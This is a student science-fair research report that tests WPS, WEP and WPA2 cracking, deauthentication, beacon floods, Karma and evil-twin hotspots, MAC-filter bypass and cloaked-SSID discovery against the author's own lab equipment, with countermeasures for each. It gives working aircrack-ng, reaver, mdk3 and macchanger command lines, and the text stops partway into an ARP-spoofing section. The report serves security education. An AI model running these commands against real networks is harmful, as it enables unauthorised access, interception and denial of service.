Exploring the Effectiveness of Wireless Based Attacks

Research Report

Dillon Korman

10th Grade

January 10, 2014

Table of Contents

For more information, including slides and screenshots, please visit:

https://dillonkorman.com/2014-science-fair

Introduction

Wireless security is a complex field, but employing a few simple defenses will leave a network far safer against attackers. A wireless local area network (WLAN) is a local area network using high-frequency radio signals to wirelessly connect two or more devices, often to the internet via a wireless access point within a limited geographical area. The millions of WLANs all across the world can be found in homes, coffee shops, and even in international enterprises. Most of the WLANs deployed today are based on the IEEE 802.11 standards for wireless networks. A group known as the Wi-Fi Alliance created the Wireless Fidelity (Wi-Fi) trademark to brand products operating inside a WLAN with the 802.11 IEEE standards.

Manufacturers and network managers use the IEEE 802.11 specifications as a standard for implementing WLANs. The first version of the standard came out in 1997 and was further improved two years later. Since then, the IEEE introduced numerous amendments to improve the initial standard. These include enhanced security with WPA2 (802.11i), protected management frames (802.11w), and higher throughput improvements (802.11n). The IEEE continues to introduce additional functionality as with the recent 802.11ac and 802.11ad amendments, which aim to achieve very high throughput with less than 6 gigahertz and 60 gigahertz respectively. These new developments happen rather quickly, an average of two new amendments per year, but it takes some time for these to be integrated into most commercial devices and networks.

The 802.11 standard is complex and contains numerous concepts that could be

abused. It supports up to 14 different channels in the 2.4 gigahertz spectrum, though only 11 of those are usable in the United States. The 802.11 standard follows the OSI model, a networking framework that implements protocols in seven layers. In the OSI model's data link layer, datagrams, self contained units of data, are known as frames and the 802.11 standard defines these to transmit data and manage wireless connections. All frames contain a MAC header, payload, and frame check sequence. The standard also contains management frames, which have been subject to security issues. The deauthentication frames can be used essentially DoS any access point or client and probe requests are used in the KARMA attack.

The wireless local area network is the typical network used in homes today, but it took time to reach its current technological state. This type of network started back in 1971 at the University of Hawaii through ALOHAnet using technology similar to those of ham radios.[1] WaveLAN was designed by COMTEN and introduced to the market in 1988. The technology developed enough so in 1991, the IEEE held a workshop where the IEEE 802.11 committee discussed developing a standard for WLANs.[2] The hardware required was too cost prohibitive for regular usage until the late 1990s and 2000s. By this time, the 802.11 standard was in place and WLANs were available for widespread usage.

Higher levels concepts in wireless local area networks are simple enough for even non-technical users to understand. In WLANs, all devices or components able to connect into a network are called stations, which are equipped with wireless network

[1] http://web.archive.org/web/20070210131824/http://www.jhsph.edu/wireless/history.html
[2] http://www.cwins.wpi.edu/wlans96/scripts/summary.html

interface controllers (WNICs). These stations can be either an access point or a client. Routers are typically the access point while clients can be laptops, smartphones, tablets, and more. The BSSID (basic service set identifier) is the MAC address of the wireless access point. The SSID (service set identifier) is also known as the network name and, unless cloaked, broadcasted to all nearby stations. WLANs based on 802.11 can operate in two basic different modes- ad hoc or infrastructure. Ad hoc networks are peer to peer and do not have a main base station, such as a home router. This type of network is far less common than the infrastructure mode network. A wireless distribution system can be used to set up multiple access points across a geographical area. WLANs are used in home and small businesses for simple wireless access, in computer cafes and libraries as hotspots for the public to access, in campuses and corporate enterprises for easy network access with different types of devices, and in hotels, restaurants, planes, and trains for a guest and customer convenience.

The Wi-Fi Alliance aims to make wireless local area networking more understandable to an average user. The trademark term “Wi-Fi” is known to many users as a WLAN. This is the case as most devices using 802.11 standards within a WLAN are branded as “Wi-FI” certified or compatible by the Wi-Fi Alliance. Software and instruction manuals also use this term to refer to a typical WLAN. The Wi-Fi Alliance, of which several hundred manufacturers are members, performs certification on many products to ensure interoperability and backward compatibility among the 802.11 standards. While this certification acknowledges the device in questions is fully operable, some devices that do not undergo certification may also be suitable for WLAN

use. Some commercial Wi-Fi networks use captive portals to restrict (though bypass techniques are often available) internet access to authenticated or paying users. The use of Wi-Fi in metropolitan cities and university campuses is increasing.

Although Wi-Fi suffers from interference and security challenges, it remains incredibly popular. The range of Wi-Fi varies on a number of factors including antenna strength and interference, though they are often around 35 meters indoors and 100 meters outdoors. Physical interference could include walls and trees while wireless access points operating on 2.4 gigahertz could suffer electromagnetic interference from various devices including microwave ovens, cordless phones, and baby monitors. Essentially all modern consumer devices include a WNIC inside of the device itself for connection to Wi-Fi networks. The inherent weakness in wireless security is anyone within range of its signal can access or perform attacks on the network, whereas network access to conventional wired networks requires physical access or someone to bypass an external firewall. Several security weaknesses have been found in Wi-Fi or 802.11 including WEP, TKIP, WPS, and the Hole 196 vulnerability. It is also easy to hijack another Wi-Fi network for personal use in a process called piggybacking. Despite some security risks, Wi-Fi remains popular with an expected 5.8 million hotspots to be up worldwide in 2015 according to Informa Telecoms and Media[3]. There exist more than 135 million unique Wi-Fi networks as of May 9th, 2014 as tracked in Wigle's immense database[4]. These figures show the sheer number of networks available as potential targets. Of these, about 40% are known to use the secure WPA2 standard, compared to

[3] http://www.informa.com/Media-centre/Press-releases--news/Latest-News/Wifi-hotspots-set-to-more-than-triple-by-2015/
[4] https://wigle.net/gps/gps/main/stats/

just about 1% five years ago. This highlights how security can be improved across a global scale.

Wireless security is one of the biggest issues in past and even modern WLANs. These networks are reachable so long as the attacker is within range, and range can be greatly extended with powerful antennas. WLANs are also another attack vector for malicious hackers, as was the case when T.J.Maxx used WEP, which resulted in one of the largest data breaches to date[5]. This method of attack has also been noted in the Cisco Security Report when speaking on BYOD type devices, “Cisco researchers have observed actors using wireless channels to eavesdrop and gain access to data being exchanged through those channels.”[6] These cases show how attackers are actively exploiting these weaknesses with malicious intent. The fact that both client type devices and wireless access points are mobile can be of great benefit to an attacker. An attacker could bring a wireless access point (WAP) inside the target’s location or set up a WAP outside and wait for a client to connect to him. Some security risks include associations to other WAPs, maliciously or accidental, ad hoc networks, man-in-the-middle attacks, denial of service, and code injections attacks. A wireless intrusion prevention system can help, though these systems are largely unknown to average users and documentation is scarce. Some security measures are said to help[7] but really do not. Some of these techniques include SSID cloaking, MAC address filtering, and static IP addressing. Stronger security can be obtained with a strong AES, WPA2 password and end-to-end encryption with protocols like HTTPS and SSH. For example, users should

[5] http://www.zdnet.com/blog/ou/tjxs-failure-to-secure-wi-fi-could-cost-1b/485
[6] http://www.cisco.com/web/offer/gist_ty2_asset/Cisco_2014_ASR.pdf
[7] http://www.pcmag.com/article2/0,2817,2409751,00.asp

never connect to open or unknown networks without using technologies like VPNs, SSH tunneling, or HTTPS to establish a secure and encrypted session. RADIUS servers are available for use in corporate environments for additional security and monitoring. Wireless security is a complex field, but employing a few simple defenses will leave a network far safer against attackers. While wireless networks face many security risks, a properly configured system will secure against most threats.

Hypothesis

In this experiment, I will determine how effective a variety of internal and external based attacks are against a diverse set of targets. If these attacks result in success for an attacker, then users and network operators must recognize these attacks as valid threats and take appropriate actions to defend themselves. Manufacturers would also need to enable and recommend these very people to secure their devices and networks from outside invasions. If an attacker is within a local network or nearby an 802.11 network, he will be able to launch successful and effective attacks against common, default configurations. In order to be effective, an attacker must ultimately (regardless of time) launch his attack or achieve a simple end goal (stealing data, denial of service, internal compromise, etc.) regardless of the notability, so long as he completes his attack or goal before stopped by another factor (new network defenses, law enforcement, etc).

Materials

- Wi-Fi Pineapple Mark V

- Pelican 1120 Case with 12 volt battery for mobile power
- Alfa AWUS036NHR
- Alfa AWUS036H
- Physical machine running Windows 7
- Virtual machine running Kali Linux
- Virtual machine running Windows XP
- Various devices (iPhone 4 on iOS 6.1, Samsung Galaxy S3 on Android 4.2.2, first generation Nexus 7 on Android 4.2.2, first generation iPod touch on iOS 4.1.2, fourth generation iPad on iOS 7.0.4, LG Spectrum on Android 4.4.2, Droid X on Android 2.3.3, Compaq Presario V2555 laptop on Windows XP, D-Link DIR-628 router, and a Belkin F7D4302 router)
- Various software tools (ettercap, SSLStrip, urlsnarf, drifnet, tcpdump, Nexpose, nmap, aircrack-ng suite, mdk3, metasploit, social engineer toolkit, etc.)

Procedures

1. Set up a realistic attack environment. This can have the attacker already within the network or the attacker just outside the target's access points and devices or systems.
2. Configure and launch an attack (where there are no defenses against the attack actively in place). Determine if the attack was ultimately successful.
3. Configure and implement countermeasures against the attack if possible. Identify if the countermeasures were successful in detecting/preventing the attack.
4. Assess if an attacker would have difficulties achieving his end goal both with and

without defenses in place.

Observations

The results showed my hypothesis was correct in most scenarios. I tested 21 attacks in two major divisions- internal and external based attacks. I placed all of the attacks in three basic divisions- aggressive, information gathering, and tactical. I categorized eight attacks as generally aggressive, seven as less aggressive attempts mainly used for information gathering, and six as tactical attacks, designed to assist other attacks, provide distractions, or trick other systems or users. Fifteen of the attacks successfully executed with ease, four of the attacks had moderate issues concerning reliability, and two attacks did not execute reliably.[8] With the exception of the vulnerability scanner and one part of the code injection, I performed all attacks with Kali Linux or the Wi-Fi Pineapple, both of which were designed with penetration testing in mind. The devices I tested against varied on what attack I was running; some attacks only went up against one device while others had several. The Windows 7 host and Windows XP VM were often used for internal attacks while external ones focused more on smartphones and tablets or the routers themselves. I tried to test the attacks with and without countermeasures in place, but in some cases, countermeasures were not tested due to lack of resources or time constraints. In these cases, I listed defenses or countermeasures known to work, although I was not able to independently verify each one in this experimentation. I will provide a background or introduction on the attack, the categorization of the attack, the details used in performing the attack, the devices tested

[8] See table located in the slides at http://dillonkorman.com/2014-science-fair

against, my observations of the attack, and possible countermeasures or defenses against the attack.

WPS Cracking

- This is an aggressive external attack. I tested this attack against a D-Link DIR-628 and a Belkin F7D4302 router. This attack attempts to brute force the WPS pin, an eight-digit pin, used in wireless access points. The attack typically involves using the “reaver-wps” tool, which is what I used here. WPS is enabled by default on some WAPs to facilitate the configuration between the access point and user’s devices. WPS can usually be turned on or off at any time in the access point’s control panel.
- I used the Alfa AWUS036H wireless USB network card since a WNIC supporting monitor mode is required. The first step in this attack after setting the wireless card to monitor mode is scanning for WPS enabled routers. This can be done via the “wash” tool that comes with reaver. The example command “wash -i mon0” will scan for WPS enabled access points on the “mon0” (monitor mode) interface. The tool will output the BSSID, channel, signal strength (RSSI), WPS version, status on whether or not the WPS feature is locked, and the ESSID of WPS enabled access points. If the “WPS Locked” field is “No” and the signal strength is strong enough, the attack should be able to carry out successfully. The basic arguments needed for reaver to start the attack are the BSSID and the

monitor-mode interface (-b and -i respectively). Over a dozen other optional arguments and advanced options exist, some of which try to bypass WPS locking countermeasures or increase the speed of the attack. The attack can be started, stopped, and resumed from at any time. This session feature greatly enhances this attack's flexibility. The "reaver -i mon0 -b 00:90:4C:C1:AC:21" example command will attempt to brute force the WPS pin of an access point with the BSSID of "00:90:4C:C1:AC:21" on the "mon0" interface. I first attempted the attack against the D-Link router with the Alfa approximately one inch from the router. After verifying the router was vulnerable and locating its BSSID with wash, I proceeded with the reaver command. Despite seemingly ideal conditions, however, reaver was having issues. Reaver performed the attack at a very slow speed and was plagued by errors causing the attack to stop several times. I attempted to correct the attack via basic troubleshooting such as unplugging the Alfa, restarting the virtual machine, and restarting the router. Although the specific cause of this mysterious issue could not be located, I finally had reaver running successfully. Taking into account the time it would take to reach the initial nine percent (I began the attack with nine percent completion from the slow attack the day before) with the successful attack, the attack took about four hours to successfully crack both the WPS pin and thus the WPA2 password. This allows the attacker two forms of correct authentication. The four-hour cracking time is about the shortest time thought possible to crack a WPS pin with reaver. Although not enabled by default, there is an option in the D-Link router's

configuration page under WPS settings which will enable a WPS lock. I retested the attack against the router (no reboot needed) with the setting enabled and the attack with its default settings was completely unsuccessful- reaver could not even move past the first pin. I did not test detailed bypassing options due to time constraints and the scope of this experimentation, but even a five-second wait between pins and a sixty second wait were not enough. Once I disabled the WPS lock setting in the router's control panel, the attack worked perfectly. This setting was probably not enabled by default due to the possible annoyance to consumers if they entered the incorrect WPS pin a number of times, but this simple setting blocked (at least basic) forms of this attack successfully. I tried the exact same attack against the Belkin router, and with default attack settings, I recovered the WPS pin and WPA2 password in three hours and forty minutes. The attack worked flawlessly throughout and the Belkin router did not have a WPS lock setting, even with the latest firmware. Though that could not be tested against, the router did successfully turn off WPS in about ten seconds. For security reasons, WPS should not be enabled on an access point. Although some WPS locking mechanisms may be generally successful, the access point is at least partially vulnerable to advanced attacks. The WPA2 password usually only needs to be configured on each device once and even with a random, long, and complex password, this should only take around thirty seconds per device. By disabling WPS and using a secure WPA2 password, it is possible to exchange a few minutes of time for a vastly safer network.

WEP Cracking

- This is an aggressive external attack. I tested this attack against a D-Link DIR-628 and a Belkin F7D4302 router. This attack attempts to find the WEP key of an access point using legacy WEP encryption. Wired Equivalent Privacy was a security algorithm designed to protect 802.11 networks. It was introduced in 1999 and used a key of either 10 or 26 hexadecimal digits. The WPA protocol replaced WEP four years later as security flaws were found in WEP. Researchers found additional vulnerabilities in WEP and the entire process of cracking a WEP key can be completed in under five minutes. The “aircrack-ng” suite is most commonly used to crack WEP keys and is what I used. WEP is considered completely insecure and is now only used on legacy access points or through manual configuration.
- I used the Alfa AWUS036H wireless USB network card since monitor mode is needed. Once the card is in monitor mode and the MAC address spoofed (optional), I located a target with the “airodump-ng” tool. The example command “airodump-ng mon0” will scan for access points on all channels nearby. I used the D-Link router as the initial target. I noted the access point's unique BSSID, encryption (WEP), channel (1), and ESSID (D-Link Test). I issued the command “airodump-ng -c 1 -w crackme --bssid 00:26:5A:CA:A3:D6 mon0” to listen on channel 1, create a capture file called “crackme”, filter the BSSID by “00:26:5A:CA:A3:D6”, and use the interface “mon0.” To authenticate, I entered the command “aireplay-ng -1 0 -a 00:26:5A:CA:A3:D6 -h 00:11:22:33:44:55 -e

"D-Link Test" mon0” which uses fake authentication with no delay on the target BSSID of “00:26:5A:CA:A3:D6” with the source MAC address of 00:11:22:33:44:55 on target ESSID “D-Link Test” with interface “mon0.” A second later, I used the “aireplay-ng -3 -b 00:26:5A:CA:A3:D6 -h 00:11:22:33:44:55 mon0” command which uses the ARP-request replay attack with a filter on the target BSSID of “00:26:5A:CA:A3:D6” and source MAC address “00:11:22:33:44:55” on the interface “mon0.” After about two minutes, I gathered 30,000 IVs, which was more than enough for a 64-bit key. I then ran the command “aircrack-ng -b 00:26:5A:CA:A3:D6 crackme.cap” which tries to crack the WEP key of the BSSID “00:26:5A:CA:A3:D6” in the “crackme.cap” capture file. Aircrack-ng found the key “1D:1E:43:13:61” in one second while the entire process took about three minutes. I used the same steps against the Belkin router. The main difference was the Belkin used a slightly stronger 128-bit key. This required about 43,000 IVs (note the 64-bit key could be cracked with less than the used 30,000 IVs). It took about one or two more minutes to gather the necessary IVs. Aircrack-ng quickly outputted the correct key of “68:A4:9B:8C:DA:0D:AF:82:58:36:B9:5A:56”. The main problem I had with this attack was getting the IVs at a very fast rate with the ARP replay attack. Many times it would not generate any requests. This was solved when an active device was placed inside the network, but it was still finicky at times and took a bit to start up. Once the requests were increasing at a fast rate, however, there were no issues. The most secure version of WEP can be broken into in four minutes.

WEP should be regarded as no security and should be used under almost no circumstances. If legacy support is the main reason why an organization or user uses WEP, the device(s) at hand should be upgraded. WEP is never secure and an access point with WPA2 and a strong password with WPS turned off should be used instead.

WPA2 Cracking

- This is an aggressive external attack. I tested this attack against a D-Link DIR-628 and a Belkin F7D4302 router. This attack attempts to obtain a WPA handshake and crack it using a brute force attack (typically involving a list of potential passwords to test against). Wi-Fi Protected Access was introduced in 2003 to replace the insecure WEP security algorithm. The second version (WPA2) was released a year later since WPA was only designed to be temporary. WPA(2) requires a password of eight characters or greater, up to a maximum of 63 characters (64 in hexadecimal). It features a pre-shared key mode and an enterprise intended mode, which uses RADIUS. WPA-TKIP is considered insecure while WPA2-AES is considered secure.
- In this attack, I tested against the PSK mode with WPA2-AES. Alfa AWUS036H wireless USB network card since monitor mode is needed. This attack will focus on the Belkin as I also tried to test against the D-Link DIR-628 router, but I was ultimately unable to obtain a handshake, even after a few troubleshooting attempts. This attack typically uses the “aircrack-ng” suite to recover the handshake and a password cracking program, which may or may not be a part of

the aircrack-ng suite. Once the card is in monitor mode, a target must be located with “airodump-ng.” The target’s BSSID and channel number should be noted. I used the command “airodump-ng -c 6 --bssid 94:44:52:24:59:F8 -w psk mon0” which filters traffic to channel 6 with the BSSID of “94:44:52:24:59:F8” while writing that traffic to a capture file called “psk” on the “mon0” interface. This monitors the target’s traffic for handshakes and will notify the attacker when a handshake is found. If there are any active devices on the target network, their MAC address will be shown. If the attacker is impatient, he can deauthenticate one of the devices to force a handshake. I entered the command “aireplay-ng -0 1 -a 94:44:52:24:59:F8 -c 88:32:9B:34:F4:F9 mon0” to send one deauthentication packet to the client’s MAC address of “88:32:9B:34:F4:F9” on the target BSSID of “94:44:52:24:59:F8” on the “mon0” interface. This quickly made my phone (which was the active device) reconnect to the target access point. Airodump-ng then captured the necessary WPA handshake. The capture file can be used with several different password cracking programs, but I simply used aircrack-ng to crack the password. The command “aircrack-ng -w Lists/list.txt psk.cap” cracks the password in the capture file “psk.cap” using the password list located at “Lists/list.txt.” The list only had six different keys before it found the password “A44833F1.” The password can only be recovered if it is in the list being used. Generally, the longer the list, the higher the odds are the password will be in it. The time taken to crack the password (assuming the password is the list) depends on the computational power of the cracking

machine and how many passwords are tested before it (how far down in the list the actual password is). A randomly generated 16 character or larger password using upper and lower case alphabet letters, numbers, and symbols should be considered sufficiently secure in most cases. A WPA2-AES network is secure, if the user chooses for it to be. If a strong password is chosen, then the network is likely secure. If the user chooses a weak password such as “password1” or “thomas11” then the network can be broken into easily. Ultimately, if a user uses a WPA2-AES (note the “2” and “AES”), with WPS turned off and a strong password, the network can be considered secure.

Deauthentication

- This is an aggressive external attack. I tested this attack against a D-Link DIR-628 and a Belkin F7D4302 router. I also tested the attack against a number of client type devices (smartphones, tablets, laptops). This attack attempts to deauthenticate or cause a denial of service to access points or clients connected to those access points. In the 802.11 standard, the deauthentication management frame is used to terminate connections. Since these frames are unencrypted, it is easy for an attacker to spoof these frames to cause a denial of service on certain access points or clients that wish to connect to those access points.
- I used the Alfa AWUS036H wireless USB network card since monitor mode is needed. The “aircrack-ng” suite of tools is most commonly used to launch this

attack. Once the card is in monitor mode, a target needs to be located with “airodump-ng.” The target access point’s BSSID and channel should be noted. To filter traffic to just that access point, the “airodump-ng -c 1 --bssid 00:26:5A:CA:A3:D6 mon0” sniffs traffic on channel one with the BSSID of “00:26:5A:CA:A3:D6” on the “mon0” interface. This will list all of the clients connected to the access point. From here, it is possible to deauthenticate the access point itself, which would cause all of the clients to lose connection or target clients individually. I issued the command “aireplay-ng -0 10 -a 00:26:5A:CA:A3:D6 mon0” which sent ten deauthentication packets to the BSSID “00:26:5A:CA:A3:D6” on the “mon0” interface. This causes all clients to lose connection to the access point for about ten seconds. As long as this attack is running, no client, new or old, can establish a stable connection to the access point. This is powerful as it renders an access point essentially inoperable for as long as the attacker wishes. It is possible to disconnect a single client from the access point with the “aireplay-ng -0 10 -a 00:26:5A:CA:A3:D6 -c 88:32:9B:34:F4:F9 mon0” command which targets the client with the MAC address of “88:32:9B:34:F4:F9.” So long as the targeted client’s MAC address does not change (though the attacker can easily change the MAC address he wishes to attack), this will effectively prevent the client from connecting to the targeted access point. In my testing, I found both routers and all client devices were vulnerable. The attack deauthenticated each access point or client within a second of its start. This attack is very effective in performing DoS attacks on

nearby wireless access points and clients. It can cause serious outages on networks whose devices rely on wireless access points. There is not an easy countermeasure for this attack. Generally, a wireless intrusion prevention system would have to be purchased, configured, and actively maintained in order to have a chance of blocking this attack. An attacker with more resources might be able to circumvent the WIPS. This attack is disruptive and difficult to defend against. The best approach for defense for all but the most equipped organizations is to just be wary of rogue devices and physically stop attackers as soon as possible.

Beacon Flood

- This is a tactical external attack. I tested this attack against a variety of client devices such as smartphones, tablets, and laptops. This attack attempts to broadcast a large amount of custom or random fake SSIDs. Just as regular wireless access points broadcast their SSID for clients to connect to, an attacker can generate a bunch of fake SSIDs in the area to confuse clients, hide legitimate SSIDs, or send a message.
- I ran the attack with the Wi-Fi Pineapple and “mdk3” with the Alfa AWUS036H wireless USB network card. I had difficulties with the infusion or module automating this attack on the pineapple, so I used SSH to gain command line access. With MDK3, an attacker may use a list of SSIDs, with or without certain MAC addresses, to broadcast, but I found this option produces far less broadcasted SSIDs than randomly generated ones. There are many options available for advanced use, but the basic command “mdk3 mon0 b” will launch

the beacon flood attack on the “mon0” interface with no encryption, on all channels, at a default 50 packets per second. Within a few seconds of turning on Wi-Fi for the devices, I began to see a number of networks with random SSIDs. With both the pineapple and the Alfa card, the list of broadcasted SSIDs easily filled up the entire screen of available access points. Depending on the screen size, it may have been necessary to scroll down quite a bit to see all of the fake access points. These generated SSIDs could be confusing for an average user, especially of a list of common SSIDs are being used. It can be difficult to find the correct network to connect to when there are 20 networks called “Coffee Shop Wi-Fi.” There is a chance a user will connect accidently to the attacker’s real, evil AP with the exact same SSID. The user might also be upset if he cannot connect to coffee shop’s network and instead try “Free Internet,” an evil access point controlled by the attacker, which actually works. Users should be careful which network they connect to because one simple mistake could mean the difference between a safe internet experience and one that compromises their accounts and device. If they are unsure which network is safe to connect to, they should ask the operator of the access point they intend to connect to. Furthermore, it is necessary to confirm they are on a secure connection by checking the network is the correct one before they enter sensitive information or even browse the web. A WIPS may be of help, but those are generally only in reach for large organizations. Administrators should attempt to physically find any devices broadcasting fake access points or alert users which is the correct network. This

attack can confuse and frighten, but basic security practices can ensure a location or user's digital information is safe.

KARMA

- This is a tactical external attack. I ran the attack against a variety of client type devices. This attack attempts to connect client devices to an attacker-controlled network without the user being fully aware. As a recursive acronym, it stands for KARMA Attacks Radioed Machines Automatically. Karma listens to probe request frames for previously connected open access points and tries to make the client device connect to the attacker access point. Every time the client device turns on Wi-Fi, it sends out probe requests for its previously connected access points so the user does not have to reconnect manually every time they enter near the access point. The client device will send out a probe request saying, "Is 'Coffee Shop Wi-Fi' out there?" and Karma should reply "Yes! I am 'Coffee Shop Wi-Fi', please connect to me." and the device should connect to Karma since the device thinks it has connected to the normal access point.
- I conducted this attack with the Wi-Fi Pineapple; Karma was once one of its main selling points. I made the devices "forget" all of their past wireless network connections besides one network that had no encryption. I started Karma on the pineapple via the web interface and turned on Wi-Fi for the devices. The pineapple may have worked against a fourth generation iPad and Windows XP laptop; however, it did not seem I could reliably reproduce this outcome. The attack appeared to be successful at least once against a first generation iPod

Touch. The pineapple found the probe requests for the Nexus 7, but the device did not automatically connect to the pineapple. Three other Android smartphones did not automatically connect, nor were their probe requests recorded. If the devices manually connected to the network with a single tap, the devices connected perfectly and automatically the next time Wi-Fi was turned on. These mishaps could be due to a technical glitch in my pineapple or a slight misconfiguration in my setup. It could also be because the devices are simply not vulnerable or because Karma does not work reliably in all environments. The developers behind the Wi-Fi Pineapple stated they are working on another solution that may be more effective or reliable, especially against newer devices. This attack seems promising in theory and many users have reported its success in various environments. In some environments or ideal conditions it may work perfectly, but it currently seems a bit unreliable in practice. The new method for Karma may prove to be far more successful in all environments. Users should never use the internet until they have confirmed they are connected to the correct access point. Users should also “forget” open access points to avoid this attack. For sensitive or large deployments of access points, a WIPS might help against this attack. When it works, this attack is very capable of significant damage and targets need to be aware of what they are actually connecting to.

MAC Address Filtering Bypass

- This is a tactical external attack. I tested this attack against a D-Link DIR-628 and a Belkin F7D4302 router. This attack attempts to bypass MAC address filtering.

MAC address filtering is a common feature in many routers that allows users to configure which MAC addresses are and are not allowed on the network. This is done via whitelists (only certain devices allowed) or blacklists (block certain devices). Each device usually has a different MAC address, which is hardcoded into the device. The MAC address contains six pairs of hexadecimal digits. The first three pairs identify which company manufactured the device while the next three act similar to a serial number. These addresses, however, are extremely easy to spoof. This makes the act of using MAC address filtering useless. This technique is also described as a security feature in many cases. That claim is untrue and can easily lead to confusion among users who believe this actually keeps them more secure. This feature only leads one to think there is more security when there is not actually any real security added. This is also known as “security theater.”

- I used an Alfa AWUS036H wireless USB network card since monitor mode is needed. The MAC address filtering feature on the Belkin router did not actually work. Despite having only two MAC address whitelisted, the router accepted a connection from a randomly generated MAC address. This failure could lead to an even further false sense of security. To find a MAC address that is allowed, an attacker simply needs to look at the clients currently connected to the access point. The attacker then spoofs his MAC address to the allowed address and connects to the access point. I used the programs “airodump-ng” and “macchanger” to sniff traffic and change MAC addresses. Once monitor mode is

enabled, the target must be located via airodump-ng noting the target's BSSID and channel. I used the command "airodump-ng -c 1 --bssid 00:26:5A:CA:A3:D6 mon0" to sniff for traffic on channel one with the BSSID of "00:26:5A:CA:A3:D6" on the "mon0" interface. Airodump-ng quickly found a client's MAC address (88:32:9B:34:F4:F9 in this case) available to spoof. After stopping monitoring mode with "airmon-ng stop mon0" and putting down the "wlan0" interface with "ifconfig wlan0 down", the MAC address can be changed. I executed the command "macchanger -m 88:32:9B:34:F4:F9 wlan0" to change the MAC address to 88:32:9B:34:F4:F9 (the client's MAC address) on the "wlan0" interface. After re-enabling the "wlan0" interface with "ifconfig wlan0 up", I verified my MAC address is now an allowed one. I connected to the network with the correct password and I gained access successfully. The device with the same MAC address was still connected to the network, but the router still let me in. If a user looks at the devices connected to the access point on the router's configuration page, he can see two different devices with the same MAC address. I bypassed this MAC address filter in only a minute; MAC address filtering is a near useless feature providing no real security and this feature should never be used for the purpose of providing additional security. If two different devices are on the network with the same MAC address when MAC address filtering is enabled, then a MAC address spoofing attack is likely taking place. Instead of relying on a flawed technique, network operators should monitor for new devices connected to their network. A good attack will always succeed

against a poor defense and this case is no different.

Evil Twin with KARMA

- This is a tactical external attack. I tested this attack on an Android smartphone and tablet running 4.2.2. This attack attempts to create an access point that appears legitimate, often replicating a nearby access point, but is actually controlled by an attacker. This attack is coined as the wireless variant of a phishing scam as it often requires the need to trick a user into connecting to it. This is usually done through the broadcasted network name, but other local factors may be taken into account. Once a user is tricked into joining the access point, the attacker can monitor all of the client's traffic unless it is encrypted.
- I used the Wi-Fi Pineapple since it comes with Karma and allows for the easy setting of a custom SSID. I attempted to simulate a more realistic environment an attacker would deploy this attack in. I set up a D-Link DIR-628 router as an open network with a SSID of "attwifi", which is exactly what would be the case if a user were to connect to a Starbucks hotspot. I connected the phone to the D-Link router, like when a user would connect to the Starbucks hotspot for the first time. I then set up the pineapple so it had the same SSID with an open connection. Karma was off for the pineapple this time. When I turned on Wi-Fi like a user would to connect to the Wi-Fi the next time they visit Starbucks, it connected to the D-Link router correctly. I turned off Wi-Fi on the phone and enabled Karma on the pineapple. I turned on the phone's Wi-Fi as if a user would when they visit Starbucks for a third time. This time, the pineapple intercepted the request and

the phone connected to the pineapple without any problems. The phone had normal internet and most users would not think twice about which network they were really on. Signal strength does seem to play a factor though. Interestingly, when I had the phone about five to ten feet away from the devices, the pineapple won the connection battle. When I placed the phone right next to the D-Link router, however, the phone connected to the D-Link router even though the only changed variable was the device's proximity to the D-Link router. When I placed the phone right next to the pineapple, the phone connected to the pineapple like normal. Understanding this, an attacker must insure he has the higher signal so the devices connect to his rogue access point instead of the real one. In a realistic scenario, an attacker could deploy his Wi-Fi Pineapple in a bag broadcasting the "attwifi" SSID with an open connection and Karma enabled and proceed to gather up all the real clients wanting to connect to the actual access point. This allows the attacker to run MITM attacks, run exploits, sniff traffic, and more. It appears Karma is far more effective when its broadcasting SSID is already what the probe request is searching for. Even when I changed the D-Link router's SSID to something else, the pineapple still picked up the phone with Karma. Thus, choosing a commonly connected open network SSID, such as "attwifi", will likely land the attacker far more clients. This will also provide a false sense of reality for the users since they are aware they have connected to that SSID before. An attacker could choose a SSID to broadcast based on the group or location he wishes to target. For example, if the attacker knows a selection of

businessmen in a conference center all connected to the nearby hotel's open "Lobby Wi-Fi" network, then he can set his SSID to that to gain those clients, although this may seem odd to the end user if they pay close attention. If the attacker wishes to target a person who frequents McDonalds or a group whose meeting location has an open Wi-Fi network, he can use that SSID to gather clients belonging to that individual or group of individuals targeted. It is tricky and troublesome to always check which access point one is actually connected to and see if it is indeed the correct one, but a quick check can ensure his data is likely not being monitored or controlled by an attacker. Encryption, such as a VPN, should habitually be used upon first connection to an access point in case the user forgets to check or is genuinely tricked. However, as long as the signal strength remains strong if using against a competing access point, Karma suddenly becomes far more reliable against most targets.

Revealing Cloaked SSIDs

- This is an information gathering external attack. I tested this attack on a D-Link DIR-628 and a Belkin F7D4302 router. This attack attempts to find the real SSID, or network name, on target access points that try to "hide" or "cloak" their SSID. This feature is available on most routers via the configuration page. This technique is often branded in the router's help page and elsewhere as a security feature, when in fact it provides no real security at all. This is also known as "security through obscurity" or "security theater." This feature often provides an average consumer a false sense of security. The actual SSID can be found

through probe request, probe response, association request, and re-association request frames.

- I used an Alfa AWUS036H wireless USB network card since monitor mode is needed. Although many programs can be used for this, I used “airodump-ng”, a tool part of the “aircrack-ng” suite. Once the card is in monitor mode, the target needs to be found with airodump-ng. The ESSID will report as something like “<length: x>” for a cloaked SSID, where “x” is the length of the real SSID in characters. The channel and BSSID of the target should be noted so it is easier to isolate. I ran the command “airodump-ng -c 1 --bssid 00:26:5A:CA:A3:D6 mon0” to analyze traffic on channel one with the BSSID “00:26:5A:CA:A3:D6” on the “mon0” interface. I added the network name and password to the phone, which acted as a client. I turned off the Wi-Fi on my phone and then enabled it. The real SSID popped up almost immediately on airodump-ng. I did the same with the other router and airodump-ng produced the same results. A deauthentication packet can be sent to a client connected to the router to force a reconnect, which will unveil the true SSID. Finding the true SSID of a network can be accomplished in seconds with very little skill or effort required. The technique of preventing a router to broadcast its SSID provides no security. This feature should never be used for security purposes as it does not help and provides a false sense of security.

Man in the Middle with ARP Spoofing

- This is a tactical internal attack. I tested this attack against a Windows XP VM

connected to a D-Link DIR-628 router. This attack attempts to become the “Man in the Middle” to intercept communications between two targets. This attack is the most popular way to gain the MITM position on a network. The Address Resolution Protocol (ARP) does not have any form of authentication, so its packets can be spoofed. In a local area network, the destination IP address in an IP frame needs to be changed into a MAC address for use in the data link layer. A broadcast packet, or ARP request, is sent out to the network asking for the MAC address of a particular IP address; that IP address replies with its MAC address, an ARP reply. Hosts inside the network will cache any ARP replies received, even if they did not actually request them. Even entries that have not been expired will still be replaced if another ARP reply packet is acknowledged. Knowing these weaknesses, an attacker can simply make his MAC address replace the legitimate one for the gateway (or another host).

